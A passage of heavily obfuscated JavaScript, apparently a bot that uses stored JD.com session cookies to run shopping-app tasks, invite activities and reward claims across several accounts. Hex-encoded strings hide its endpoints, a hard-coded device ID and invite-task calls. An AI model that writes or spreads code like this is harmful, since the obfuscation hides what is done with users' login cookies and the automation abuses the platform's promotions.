1\x63\x74\x69\x76\x69\x74\x79\x22\x2C\x22\x64\x61\x74\x61\x22\x3A\x7B\x22\x69\x6E\x76\x69\x74\x65\x72\x50\x69\x6E\x22\x3A\x22","\x22\x2C\x22\x63\x68\x61\x6E\x6E\x65\x6C\x22\x3A\x31\x2C\x22\x74\x6F\x6B\x65\x6E\x22\x3A\x22\x22\x2C\x22\x66\x72\x6F\x6E\x74\x65\x6E\x64\x49\x6E\x69\x74\x53\x74\x61\x74\x75\x73\x22\x3A\x22\x22\x7D\x7D\x26\x72\x65\x66\x65\x72\x65\x72\x3D\x2D\x31\x26\x65\x69\x64\x3D\x65\x69\x64\x49\x66\x33\x64\x64\x38\x31\x32\x31\x62\x37\x73\x64\x6D\x69\x42\x4C\x47\x64\x78\x52\x52\x34\x36\x4F\x6C\x57\x79\x68\x36\x32\x6B\x46\x41\x5A\x6F\x67\x54\x4A\x46\x6E\x59\x71\x71\x52\x6B\x77\x67\x72\x36\x33\x25\x32\x42\x64\x47\x6D\x4D\x6C\x63\x76\x37\x45\x51\x4A\x35\x76\x30\x48\x42\x69\x63\x38\x31\x78\x48\x58\x7A\x58\x4C\x77\x4B\x4D\x36\x66\x68\x33\x69\x39\x36\x33\x7A\x49\x61\x37\x59\x6D\x32\x76\x35\x65\x68\x6E\x77\x6F\x32\x42\x37\x75\x44\x4E\x39\x32\x51\x30\x26\x61\x69\x64\x3D\x26\x63\x6C\x69\x65\x6E\x74\x3D\x69\x6F\x73\x26\x63\x6C\x69\x65\x6E\x74\x56\x65\x72\x73\x69\x6F\x6E\x3D\x31\x34\x2E\x34\x26\x6E\x65\x74\x77\x6F\x72\x6B\x54\x79\x70\x65\x3D\x77\x69\x66\x69\x26\x66\x70\x3D\x2D\x31\x26\x61\x70\x70\x69\x64\x3D\x6D\x61\x72\x6B\x65\x74\x2D\x74\x61\x73\x6B\x2D\x68\x35\x26\x5F\x74\x3D","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x70\x69\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x3F\x74\x3D","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x73\x73\x69\x67\x6E\x6D\x65\x6E\x74\x2E\x6A\x64\x2E\x63\x6F\x6D","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x73\x73\x69\x67\x6E\x6D\x65\x6E\x74\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x3F\x69\x6E\x76\x69\x74\x65\x72\x49\x64\x3D","\x66\x75\x6E\x63\x74\x69\x6F\x6E\x49\x64\x3D\x54\x61\x73\x6B\x49\x6E\x76\x69\x74\x65\x53\x65\x72\x76\x69\x63\x65\x26\x62\x6F\x64\x79\x3D\x7B\x22\x6D\x65\x74\x68\x6F\x64\x22\x3A\x22\x70\x61\x72\x74\x69\x63\x69\x70\x61\x74\x65\x49\x6E\x76\x69\x74\x65\x54\x61\x73\x6B\x22\x2C\x22\x64\x61\x74\x61\x22\x3A\x7B\x22\x63\x68\x61\x6E\x6E\x65\x6C\x22\x3A\x22\x31\x22\x2C\x22\x65\x6E\x63\x72\x79\x70\x74\x69\x6F\x6E\x49\x6E\x76\x69\x74\x65\x72\x50\x69\x6E\x22\x3A\x22","\x22\x2C\x22\x74\x79\x70\x65\x22\x3A\x31\x7D\x7D\x26\x61\x70\x70\x69\x64\x3D\x6D\x61\x72\x6B\x65\x74\x2D\x74\x61\x73\x6B\x2D\x68\x35\x26\x75\x75\x69\x64\x3D\x26\x5F\x74\x3D","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x70\x69\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F","\x66\x75\x6E\x63\x74\x69\x6F\x6E\x49\x64\x3D\x49\x6E\x76\x69\x74\x65\x46\x72\x69\x65\x6E\x64\x43\x68\x61\x6E\x67\x65\x41\x73\x73\x65\x72\x74\x73\x53\x65\x72\x76\x69\x63\x65\x26\x62\x6F\x64\x79\x3D","\x61\x74\x74\x65\x6E\x64\x49\x6E\x76\x69\x74\x65\x41\x63\x74\x69\x76\x69\x74\x79","\x26\x72\x65\x66\x65\x72\x65\x72\x3D\x2D\x31\x26\x65\x69\x64\x3D\x65\x69\x64\x49\x39\x62\x32\x39\x38\x31\x32\x30\x32\x66\x73\x65\x63\x38\x33\x69\x52\x57\x31\x6E\x54\x73\x4F\x56\x7A\x43\x6F\x63\x57\x64\x61\x33\x59\x48\x50\x4E\x34\x37\x31\x41\x59\x37\x38\x25\x32\x46\x51\x42\x68\x59\x62\x58\x65\x57\x74\x64\x67\x25\x32\x46\x33\x54\x43\x74\x56\x54\x4D\x72\x45\x31\x4A\x6A\x4D\x38\x53\x71\x74\x38\x66\x32\x54\x71\x46\x31\x5A\x35\x50\x25\x32\x46\x52\x50\x47\x6C\x7A\x41\x31\x64\x45\x52\x50\x30\x5A\x35\x62\x4C\x57\x64\x71\x35\x4E\x35\x42\x32\x56\x62\x42\x4F\x26\x61\x69\x64\x3D\x26\x63\x6C\x69\x65\x6E\x74\x3D\x69\x6F\x73\x26\x63\x6C\x69\x65\x6E\x74\x56\x65\x72\x73\x69\x6F\x6E\x3D\x31\x34\x2E\x34\x2E\x32\x26\x6E\x65\x74\x77\x6F\x72\x6B\x54\x79\x70\x65\x3D\x77\x69\x66\x69\x26\x66\x70\x3D\x2D\x31\x26\x75\x75\x69\x64\x3D\x61\x62\x30\x34\x38\x30\x38\x34\x62\x34\x37\x64\x66\x32\x34\x38\x38\x30\x36\x31\x33\x33\x32\x36\x66\x65\x66\x66\x64\x66\x37\x65\x65\x65\x34\x37\x31\x34\x38\x38\x26\x6F\x73\x56\x65\x72\x73\x69\x6F\x6E\x3D\x31\x34\x2E\x34\x2E\x32\x26\x64\x5F\x62\x72\x61\x6E\x64\x3D\x69\x50\x68\x6F\x6E\x65\x26\x64\x5F\x6D\x6F\x64\x65\x6C\x3D\x69\x50\x68\x6F\x6E\x65\x31\x30\x2C\x32\x26\x61\x67\x65\x6E\x74\x3D\x2D\x31\x26\x70\x61\x67\x65\x43\x6C\x69\x63\x6B\x4B\x65\x79\x3D\x2D\x31\x26\x70\x6C\x61\x74\x66\x6F\x72\x6D\x3D\x33\x26\x6C\x61\x6E\x67\x3D\x7A\x68\x5F\x43\x4E\x26\x61\x70\x70\x69\x64\x3D\x6D\x61\x72\x6B\x65\x74\x2D\x74\x61\x73\x6B\x2D\x68\x35\x26\x5F\x74\x3D","\x7A\x68\x2D\x43\x4E\x2C\x7A\x68\x2D\x48\x61\x6E\x73\x3B\x71\x3D\x30\x2E\x39","\x66\x75\x6E\x63\x74\x69\x6F\x6E\x49\x64\x3D\x54\x61\x73\x6B\x49\x6E\x76\x69\x74\x65\x53\x65\x72\x76\x69\x63\x65\x26\x62\x6F\x64\x79\x3D","\x70\x61\x72\x74\x69\x63\x69\x70\x61\x74\x65\x49\x6E\x76\x69\x74\x65\x54\x61\x73\x6B","\x31","\x26\x61\x70\x70\x69\x64\x3D\x6D\x61\x72\x6B\x65\x74\x2D\x74\x61\x73\x6B\x2D\x68\x35\x26\x75\x75\x69\x64\x3D\x26\x5F\x74\x3D","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x73\x73\x69\x67\x6E\x6D\x65\x6E\x74\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F","\x72\x65\x74\x63\x6F\x64\x65","\x75\x73\x65\x72\x49\x6E\x66\x6F","\x68\x61\x73\x4F\x77\x6E\x50\x72\x6F\x70\x65\x72\x74\x79","\x6E\x69\x63\x6B\x6E\x61\x6D\x65","\x62\x61\x73\x65\x49\x6E\x66\x6F","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x71\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x75\x73\x65\x72\x5F\x6E\x65\x77\x2F\x69\x6E\x66\x6F\x2F\x47\x65\x74\x4A\x44\x55\x73\x65\x72\x49\x6E\x66\x6F\x55\x6E\x69\x6F\x6E\x3F\x73\x63\x65\x6E\x65\x76\x61\x6C\x3D\x32","\x77\x71\x2E\x6A\x64\x2E\x63\x6F\x6D","\x2A\x2F\x2A","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x68\x6F\x6D\x65\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x6D\x79\x4A\x64\x2F\x6E\x65\x77\x68\x6F\x6D\x65\x2E\x61\x63\x74\x69\x6F\x6E\x3F\x73\x63\x65\x6E\x65\x76\x61\x6C\x3D\x32\x26\x75\x66\x63\x3D\x26","\x6A\x64\x61\x70\x70\x3B\x61\x6E\x64\x72\x6F\x69\x64\x3B\x31\x31\x2E\x31\x2E\x32\x3B\x6A\x64\x53\x75\x70\x70\x6F\x72\x74\x44\x61\x72\x6B\x4D\x6F\x64\x65\x2F\x30\x3B\x4D\x6F\x7A\x69\x6C\x6C\x61\x2F\x35\x2E\x30\x20\x28\x4C\x69\x6E\x75\x78\x3B\x20\x41\x6E\x64\x72\x6F\x69\x64\x20\x31\x30\x3B\x20\x50\x43\x43\x4D\x30\x30\x20\x42\x75\x69\x6C\x64\x2F\x51\x4B\x51\x31\x2E\x31\x39\x31\x30\x32\x31\x2E\x30\x30\x32\x3B\x20\x77\x76\x29\x20\x41\x70\x70\x6C\x65\x57\x65\x62\x4B\x69\x74\x2F\x35\x33\x37\x2E\x33\x36\x20\x28\x4B\x48\x54\x4D\x4C\x2C\x20\x6C\x69\x6B\x65\x20\x47\x65\x63\x6B\x6F\x29\x20\x56\x65\x72\x73\x69\x6F\x6E\x2F\x34\x2E\x30\x20\x43\x68\x72\x6F\x6D\x65\x2F\x38\x39\x2E\x30\x2E\x34\x33\x38\x39\x2E\x37\x32\x20\x4D\x51\x51\x42\x72\x6F\x77\x73\x65\x72\x2F\x36\x2E\x32\x20\x54\x42\x53\x2F\x30\x34\x36\x30\x31\x31\x20\x4D\x6F\x62\x69\x6C\x65\x20\x53\x61\x66\x61\x72\x69\x2F\x35\x33\x37\x2E\x33\x36","\u8BF7\u6C42\u5931\u8D25\uFF0C\u8BF7\u68C0\u67E5\u7F51\u8DEF","\x6C\x6F\x67\x45\x72\x72","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];const axios=require(__Oxe745a[0x0]);let playGame=false;let cookiesArr=[],cookie=__Oxe745a[0x1],message;if($[__Oxe745a[0x2]]()){Object[__Oxe745a[0x5]](jdCookieNode)[__Oxe745a[0x4]]((_0x93eex6)=>{cookiesArr[__Oxe745a[0x3]](jdCookieNode[_0x93eex6])});if(process[__Oxe745a[0x7]][__Oxe745a[0x6]]&& process[__Oxe745a[0x7]][__Oxe745a[0x6]]=== __Oxe745a[0x8]){console[__Oxe745a[0x9]]= ()=>{}};if(JSON[__Oxe745a[0xc]](process[__Oxe745a[0x7]])[__Oxe745a[0xb]](__Oxe745a[0xa])> -1){process[__Oxe745a[0xd]](0)}}else {cookiesArr= [$[__Oxe745a[0x10]](__Oxe745a[0xf]),$[__Oxe745a[0x10]](__Oxe745a[0x11]),...jsonParse($[__Oxe745a[0x10]](__Oxe745a[0x14])|| __Oxe745a[0x15])[__Oxe745a[0x13]]((_0x93eex6)=>{return _0x93eex6[__Oxe745a[0x12]]})][__Oxe745a[0xe]]((_0x93eex6)=>{return !!_0x93eex6})};!(async ()=>{if(!cookiesArr[0x0]){$[__Oxe745a[0x1f]]($[__Oxe745a[0x19]],__Oxe745a[0x1d],__Oxe745a[0x1e],{"\x6F\x70\x65\x6E\x2D\x75\x72\x6C":__Oxe745a[0x1e]});return};for(let _0x93eex8=0;_0x93eex8< cookiesArr[__Oxe745a[0x20]];_0x93eex8++){if(cookiesArr[_0x93eex8]){cookie= cookiesArr[_0x93eex8];$[__Oxe745a[0x21]]= decodeURIComponent(cookie[__Oxe745a[0x22]](/pt_pin=([^; ]+)(?=;?)/)&& cookie[__Oxe745a[0x22]](/pt_pin=([^; ]+)(?=;?)/)[0x1]);$[__Oxe745a[0x23]]= _0x93eex8+ 1;$[__Oxe745a[0x24]]= true;$[__Oxe745a[0x25]]= __Oxe745a[0x1];$[__Oxe745a[0x26]]= __Oxe745a[0x1];$[__Oxe745a[0x27]]= __Oxe745a[0x1];message= __Oxe745a[0x1];UA= await getJDUA(); await TotalBean();console[__Oxe745a[0x9]](`${__Oxe745a[0x28]}${$[__Oxe745a[0x23]]}${__Oxe745a[0x29]}${$[__Oxe745a[0x25]]|| $[__Oxe745a[0x21]]}${__Oxe745a[0x2a]}`);if(!$[__Oxe745a[0x24]]){$[__Oxe745a[0x1f]]($[__Oxe745a[0x19]],`${__Oxe745a[0x2b]}`,`${__Oxe745a[0x2c]}${$[__Oxe745a[0x23]]}${__Oxe745a[0x2d]}${$[__Oxe745a[0x25]]|| $[__Oxe745a[0x21]]}${__Oxe745a[0x2e]}`,{"\x6F\x70\x65\x6E\x2D\x75\x72\x6C":__Oxe745a[0x2f]});if($[__Oxe745a[0x2]]()){ await notify[__Oxe745a[0x32]](`${__Oxe745a[0x1]}${$[__Oxe745a[0x19]]}${__Oxe745a[0x30]}${$[__Oxe745a[0x21]]}${__Oxe745a[0x1]}`,`${__Oxe745a[0x2c]}${$[__Oxe745a[0x23]]}${__Oxe745a[0x2d]}${$[__Oxe745a[0x21]]}${__Oxe745a[0x31]}`)};continue};try{console[__Oxe745a[0x9]](`${__Oxe745a[0x33]}`);doInfo(); await $[__Oxe745a[0x35]](parseInt(Math[__Oxe745a[0x34]]()* 500+ 100,10)); await main()}catch(e){console[__Oxe745a[0x9]](e)}; await $[__Oxe745a[0x35]](parseInt(Math[__Oxe745a[0x34]]()* 10000+ 12500,10))}}})()[__Oxe745a[0x1c]]((_0x93eex7)=>{$[__Oxe745a[0x9]](__Oxe745a[0x1],`${__Oxe745a[0x18]}${$[__Oxe745a[0x19]]}${__Oxe745a[0x1a]}${_0x93eex7}${__Oxe745a[0x1b]}`,__Oxe745a[0x1])})[__Oxe745a[0x17]](()=>{$[__Oxe745a[0x16]]()});async function main(){ await getToken();if(!$[__Oxe745a[0x36]]){console[__Oxe745a[0x9]](__Oxe745a[0x37]);return}; await takeRequest(__Oxe745a[0x38]);$[__Oxe745a[0x39]]= __Oxe745a[0x3a];$[__Oxe745a[0x3b]]= __Oxe745a[0x3c]; await takeRequest(__Oxe745a[0x3d]); await takeRequest(__Oxe745a[0x3e]); await takeRequest(__Oxe745a[0x3f]);$[__Oxe745a[0x40]]= __Oxe745a[0x41]; await takeRequest(__Oxe745a[0x42]);$[__Oxe745a[0x39]]= __Oxe745a[0x43];$[__Oxe745a[0x3b]]= __Oxe745a[0x44]; await takeRequest(__Oxe745a[0x3d]); await $[__Oxe745a[0x35]](500); await takeRequest(__Oxe745a[0x45]);if($[__Oxe745a[0x45]]){for(let _0x93eex6 of $[__Oxe745a[0x45]]){$[__Oxe745a[0x40]]= _0x93eex6[__Oxe745a[0x40]];$[__Oxe745a[0x46]]= _0x93eex6[__Oxe745a[0x46]];$[__Oxe745a[0x47]]= _0x93eex6[__Oxe745a[0x47]];$[__Oxe745a[0x48]]= _0x93eex6[__Oxe745a[0x47]];$[__Oxe745a[0x49]]= _0x93eex6[__Oxe745a[0x49]];$[__Oxe745a[0x4a]]= _0x93eex6[__Oxe745a[0x4a]];$[__Oxe745a[0x4b]]= _0x93eex6[__Oxe745a[0x4b]];$[__Oxe745a[0x4c]]= _0x93eex6[__Oxe745a[0x4c]];$[__Oxe745a[0x4d]]= $[__Oxe745a[0x4a]]- $[__Oxe745a[0x4c]];$[__Oxe745a[0x4e]]= _0x93eex6[__Oxe745a[0x4e]]|| __Oxe745a[0x1];$[__Oxe745a[0x4f]]= _0x93eex6[__Oxe745a[0x4f]]|| __Oxe745a[0x1];$[__Oxe745a[0x50]]= _0x93eex6[__Oxe745a[0x50]]|| __Oxe745a[0x1];$[__Oxe745a[0x51]]= __Oxe745a[0x1];if($[__Oxe745a[0x40]][__Oxe745a[0xb]](__Oxe745a[0x52])> -1){console[__Oxe745a[0x9]](`${__Oxe745a[0x53]}${$[__Oxe745a[0x40]]}${__Oxe745a[0x43]}`);continue};if($[__Oxe745a[0x4d]]== 0){console[__Oxe745a[0x9]](`${__Oxe745a[0x1]}${$[__Oxe745a[0x40]]}${__Oxe745a[0x54]}`);continue};for(let _0x93eexa=0;_0x93eexa< $[__Oxe745a[0x4a]];_0x93eexa++){console[__Oxe745a[0x9]](`${__Oxe745a[0x55]}${$[__Oxe745a[0x40]]}${__Oxe745a[0x43]}`);if($[__Oxe745a[0x40]][__Oxe745a[0xb]](__Oxe745a[0x56])> -1){ await takeRequest(__Oxe745a[0x42]); await takeRequest(__Oxe745a[0x57]); await $[__Oxe745a[0x35]](parseInt(Math[__Oxe745a[0x34]]()* 1500+ 1500,10)); await takeRequest(__Oxe745a[0x45]); await $[__Oxe745a[0x35]](parseInt(Math[__Oxe745a[0x34]]()* 600+ 400,10)); await takeRequest(__Oxe745a[0x58])}else {if($[__Oxe745a[0x40]][__Oxe745a[0xb]](__Oxe745a[0x59])> -1){$[__Oxe745a[0x51]]= $[__Oxe745a[0x4e]]; await takeRequest(__Oxe745a[0x57]); await $[__Oxe745a[0x35]](parseInt(Math[__Oxe745a[0x34]]()* 1500+ 1500,10)); await takeRequest(__Oxe745a[0x45]); await $[__Oxe745a[0x35]](parseInt(Math[__Oxe745a[0x34]]()* 600+ 400,10)); await takeRequest(__Oxe745a[0x58])}else {if($[__Oxe745a[0x40]][__Oxe745a[0xb]](__Oxe745a[0x5a])> -1){ await takeRequest(__Oxe745a[0x5b]);if($[__Oxe745a[0x5b]]){$[__Oxe745a[0x51]]= $[__Oxe745a[0x5b]][_0x93eexa][__Oxe745a[0x51]];$[__Oxe745a[0x5c]]= $[__Oxe745a[0x5b]][_0x93eexa]; await takeRequest(__Oxe745a[0x42]); await takeRequest(__Oxe745a[0x57]); await $[__Oxe745a[0x35]](parseInt(Math[__Oxe745a[0x34]]()* 1500+ 1500,10)); await takeRequest(__Oxe745a[0x45]); await $[__Oxe745a[0x35]](parseInt(Math[__Oxe745a[0x34]]()* 600+ 400,10)); await takeRequest(__Oxe745a[0x58])}}else {if($[__Oxe745a[0x40]][__Oxe745a[0xb]](__Oxe745a[0x5d])> -1){ await takeRequest(__Oxe745a[0x42]); await $[__Oxe745a[0x35]](parseInt(Math[__Oxe745a[0x34]]()* 600+ 400,10)); await takeRequest(__Oxe745a[0x57]); await $[__Oxe745a[0x35]](parseInt(Math[__Oxe745a[0x34]]()* 1500+ 1500,10)); await takeRequest(__Oxe745a[0x45]); await $[__Oxe745a[0x35]](parseInt(Math[__Oxe745a[0x34]]()* 600+ 400,10)); await takeRequest(__Oxe745a[0x58])}else {if($[__Oxe745a[0x40]][__Oxe745a[0xb]](__Oxe745a[0x5e])> -1){ await takeRequest(__Oxe745a[0x42]); await takeRequest(__Oxe745a[0x57])}}}}}}; await $[__Oxe745a[0x35]](parseInt(Math[__Oxe745a[0x34]]()* 2500+ 2500,10))}; await takeRequest(__Oxe745a[0x45]); await $[__Oxe745a[0x35]](parseInt(Math[__Oxe745a[0x34]]()* 600+ 400,10)); await takeRequest(__Oxe745a[0x58])}else {console[__Oxe745a[0x9]](`${__Oxe745a[0x5f]}`)};if(playGame){$[__Oxe745a[0x39]]= __Oxe745a[0x3a];$[__Oxe745a[0x3b]]= __Oxe745a[0x3c]; await takeRequest(__Oxe745a[0x3d]); await takeRequest(__Oxe745a[0x3e]);console[__Oxe745a[0x9]](`${__Oxe745a[0x60]}`);$[__Oxe745a[0x61]]= true;if($[__Oxe745a[0x3f]]){$[__Oxe745a[0x62]]= false;$[__Oxe745a[0x63]]= 0;for(let _0x93eex6 of $[__Oxe745a[0x3f]]){if(_0x93eex6[__Oxe745a[0x64]]== 1){if(_0x93eex6[__Oxe745a[0x66]][__Oxe745a[0xb]](__Oxe745a[0x65])> -1){console[__Oxe745a[0x9]](`${__Oxe745a[0x1]}${_0x93eex6[__Oxe745a[0x66]]}${__Oxe745a[0x1]}`);$[__Oxe745a[0x27]]= _0x93eex6;$[__Oxe745a[0x67]]= _0x93eex6[__Oxe745a[0x51]]|| __Oxe745a[0x1];console[__Oxe745a[0x9]](`${__Oxe745a[0x68]}${$[__Oxe745a[0x69]]}${__Oxe745a[0x6a]}`);for(let _0x93eexb=0;_0x93eexb< $[__Oxe745a[0x69]];_0x93eexb++){if($[__Oxe745a[0x61]]== false){break;$[__Oxe745a[0x26]]= `${__Oxe745a[0x6b]}${_0x93eex6[__Oxe745a[0x51]]}${__Oxe745a[0x1]}`;console[__Oxe745a[0x9]](`${__Oxe745a[0x6c]}`); await takeRequest(__Oxe745a[0x6d]); await $[__Oxe745a[0x35]](3500);console[__Oxe745a[0x9]](`${__Oxe745a[0x6e]}${$[__Oxe745a[0x6f]]}${__Oxe745a[0x1]}`); await getLogs($[__Oxe745a[0x6f]]); await $[__Oxe745a[0x35]](10000);console[__Oxe745a[0x9]](`${__Oxe745a[0x70]}${$[__Oxe745a[0x71]]}${__Oxe745a[0x1]}`); await takeRequest(__Oxe745a[0x72])}else {if($[__Oxe745a[0x61]]== true){console[__Oxe745a[0x9]](`${__Oxe745a[0x73]}`); await takeRequest(__Oxe745a[0x42]);$[__Oxe745a[0x26]]= `${__Oxe745a[0x6b]}${_0x93eex6[__Oxe745a[0x51]]}${__Oxe745a[0x1]}`;$[__Oxe745a[0x39]]= __Oxe745a[0x65];$[__Oxe745a[0x3b]]= __Oxe745a[0x74];$[__Oxe745a[0x63]]= _0x93eex6[__Oxe745a[0x51]]; await takeRequest(__Oxe745a[0x3d]);$[__Oxe745a[0x61]]= false; await takeRequest(__Oxe745a[0x6d]); await $[__Oxe745a[0x35]](3500);console[__Oxe745a[0x9]](`${__Oxe745a[0x6e]}${$[__Oxe745a[0x6f]]}${__Oxe745a[0x1]}`); await $[__Oxe745a[0x35]](30000); await getLogs($[__Oxe745a[0x6f]]);console[__Oxe745a[0x9]](`${__Oxe745a[0x70]}${$[__Oxe745a[0x71]]}${__Oxe745a[0x1]}`); await takeRequest(__Oxe745a[0x72])}}}};if(_0x93eex6[__Oxe745a[0x66]][__Oxe745a[0xb]](__Oxe745a[0x75])> -1){console[__Oxe745a[0x9]](`${__Oxe745a[0x1]}${_0x93eex6[__Oxe745a[0x66]]}${__Oxe745a[0x76]}`)}}else {if(_0x93eex6[__Oxe745a[0x64]]== 0){console[__Oxe745a[0x9]](`${__Oxe745a[0x1]}${_0x93eex6[__Oxe745a[0x66]]}${__Oxe745a[0x77]}${_0x93eex6[__Oxe745a[0x78]]}${__Oxe745a[0x1]}`)}}}}else {console[__Oxe745a[0x9]](`${__Oxe745a[0x79]}`)}}else {console[__Oxe745a[0x9]](`${__Oxe745a[0x7a]}`)}}async function takeRequest(_0x93eexd){let _0x93eexe=__Oxe745a[0x7b];let _0x93eexf=__Oxe745a[0x1];let _0x93eex10=__Oxe745a[0x7c];switch(_0x93eexd){case __Oxe745a[0x38]:url= `${__Oxe745a[0x1]}${_0x93eexe}${__Oxe745a[0x7d]}${Date[__Oxe745a[0x7e]]()}${__Oxe745a[0x1]}`;_0x93eexf= {"\x73\x6F\x75\x72\x63\x65":__Oxe745a[0x7f],"\x74\x6F\x6B\x65\x6E":$[__Oxe745a[0x36]]};_0x93eex10= __Oxe745a[0x7c];break;case __Oxe745a[0x3d]:url= `${__Oxe745a[0x1]}${_0x93eexe}${__Oxe745a[0x80]}${Date[__Oxe745a[0x7e]]()}${__Oxe745a[0x1]}`;if($[__Oxe745a[0x63]]){_0x93eexf= {"\x63\x6F\x6E\x74\x65\x6E\x74":$[__Oxe745a[0x39]],"\x69\x64\x65\x6E\x74\x69\x66\x69\x63\x61\x74\x69\x6F\x6E":$[__Oxe745a[0x3b]],"\x72\x65\x6D\x61\x72\x6B":$[__Oxe745a[0x63]]}}else {_0x93eexf= {"\x63\x6F\x6E\x74\x65\x6E\x74":$[__Oxe745a[0x39]],"\x69\x64\x65\x6E\x74\x69\x66\x69\x63\x61\x74\x69\x6F\x6E":$[__Oxe745a[0x3b]]}};_0x93eex10= __Oxe745a[0x7c];break;case __Oxe745a[0x3e]:url= `${__Oxe745a[0x1]}${_0x93eexe}${__Oxe745a[0x81]}${Date[__Oxe745a[0x7e]]()}${__Oxe745a[0x1]}`;_0x93eex10= __Oxe745a[0x82];break;case __Oxe745a[0x3f]:url= `${__Oxe745a[0x1]}${_0x93eexe}${__Oxe745a[0x83]}${Date[__Oxe745a[0x7e]]()}${__Oxe745a[0x1]}`;_0x93eex10= __Oxe745a[0x82];break;case __Oxe745a[0x45]:url= `${__Oxe745a[0x1]}${_0x93eexe}${__Oxe745a[0x84]}${Date[__Oxe745a[0x7e]]()}${__Oxe745a[0x1]}`;_0x93eex10= __Oxe745a[0x82];break;case __Oxe745a[0x58]:url= `${__Oxe745a[0x1]}${_0x93eexe}${__Oxe745a[0x85]}${Date[__Oxe745a[0x7e]]()}${__Oxe745a[0x1]}`;_0x93eex10= __Oxe745a[0x82];break;case __Oxe745a[0x57]:url= `${__Oxe745a[0x1]}${_0x93eexe}${__Oxe745a[0x86]}${Date[__Oxe745a[0x7e]]()}${__Oxe745a[0x1]}`;if($[__Oxe745a[0x51]]){_0x93eexf= {"\x69\x64":$[__Oxe745a[0x51]],"\x74\x61\x73\x6B\x49\x64":$[__Oxe745a[0x46]],"\x74\x61\x73\x6B\x54\x79\x70\x65":$[__Oxe745a[0x47]]}}else {_0x93eexf= {"\x74\x61\x73\x6B\x49\x64":$[__Oxe745a[0x46]],"\x74\x61\x73\x6B\x54\x79\x70\x65":$[__Oxe745a[0x47]]}};_0x93eex10= __Oxe745a[0x7c];break;case __Oxe745a[0x42]:url= `${__Oxe745a[0x1]}${_0x93eexe}${__Oxe745a[0x87]}${Date[__Oxe745a[0x7e]]()}${__Oxe745a[0x1]}`;if($[__Oxe745a[0x40]][__Oxe745a[0xb]](__Oxe745a[0x41])){_0x93eexf= {"\x63\x6F\x6E\x74\x65\x6E\x74":__Oxe745a[0x88],"\x69\x64\x65\x6E\x74\x69\x66\x69\x63\x61\x74\x69\x6F\x6E":__Oxe745a[0x89],"\x72\x65\x6D\x61\x72\x6B":__Oxe745a[0x8a]}}else {if($[__Oxe745a[0x40]][__Oxe745a[0xb]](__Oxe745a[0x56])> -1){if($[__Oxe745a[0x4c]]>= 1){$[__Oxe745a[0x8b]]= __Oxe745a[0x8c]}else {$[__Oxe745a[0x8b]]= __Oxe745a[0x8d]};_0x93eexf= {"\x63\x6F\x6E\x74\x65\x6E\x74":__Oxe745a[0x8e],"\x69\x64\x65\x6E\x74\x69\x66\x69\x63\x61\x74\x69\x6F\x6E":$[__Oxe745a[0x47]],"\x72\x65\x6D\x61\x72\x6B":{"\x62\x74\x6E\x4E\x61\x6D\x65":$[__Oxe745a[0x8b]],"\x63\x6F\x6D\x70\x6C\x65\x74\x65\x54\x69\x6D\x65\x73":$[__Oxe745a[0x4c]],"\x6D\x61\x78\x43\x6F\x6D\x70\x6C\x65\x74\x65\x54\x69\x6D\x65\x73":$[__Oxe745a[0x4a]],"\x73\x68\x6F\x77\x4D\x6F\x72\x65":true,"\x74\x61\x73\x6B\x49\x64":$[__Oxe745a[0x46]],"\x74\x61\x73\x6B\x4E\x61\x6D\x65":$[__Oxe745a[0x40]],"\x74\x61\x73\x6B\x50\x69\x63":$[__Oxe745a[0x49]],"\x74\x61\x73\x6B\x52\x75\x6C\x65":$[__Oxe745a[0x4b]],"\x74\x61\x73\x6B\x54\x79\x70\x65":$[__Oxe745a[0x47]],"\x76\x69\x70":$[__Oxe745a[0x48]]}}}else {if($[__Oxe745a[0x40]][__Oxe745a[0xb]](__Oxe745a[0x5a])){_0x93eexf= {"\x63\x6F\x6E\x74\x65\x6E\x74":__Oxe745a[0x8f],"\x69\x64\x65\x6E\x74\x69\x66\x69\x63\x61\x74\x69\x6F\x6E":$[__Oxe745a[0x47]],"\x72\x65\x6D\x61\x72\x6B":$[__Oxe745a[0x5c]]}}else {if($[__Oxe745a[0x40]][__Oxe745a[0xb]](__Oxe745a[0x5d])){_0x93eexf= {"\x63\x6F\x6E\x74\x65\x6E\x74":__Oxe745a[0x90],"\x69\x64\x65\x6E\x74\x69\x66\x69\x63\x61\x74\x69\x6F\x6E":$[__Oxe745a[0x47]],"\x72\x65\x6D\x61\x72\x6B":{"\x62\x74\x6E\x4E\x61\x6D\x65":__Oxe745a[0x90],"\x63\x6F\x6D\x70\x6C\x65\x74\x65\x54\x69\x6D\x65\x73":$[__Oxe745a[0x4c]],"\x6D\x61\x78\x43\x6F\x6D\x70\x6C\x65\x74\x65\x54\x69\x6D\x65\x73":$[__Oxe745a[0x4a]],"\x73\x68\x6F\x77\x4D\x6F\x72\x65":false,"\x74\x61\x73\x6B\x49\x64":$[__Oxe745a[0x46]],"\x74\x61\x73\x6B\x4E\x61\x6D\x65":$[__Oxe745a[0x40]],"\x74\x61\x73\x6B\x50\x69\x63":$[__Oxe745a[0x49]],"\x74\x61\x73\x6B\x52\x75\x6C\x65":$[__Oxe745a[0x4b]],"\x74\x61\x73\x6B\x54\x79\x70\x65":$[__Oxe745a[0x47]],"\x76\x69\x70":false}}}else {if($[__Oxe745a[0x40]][__Oxe745a[0xb]](__Oxe745a[0x5e])){_0x93eexf= 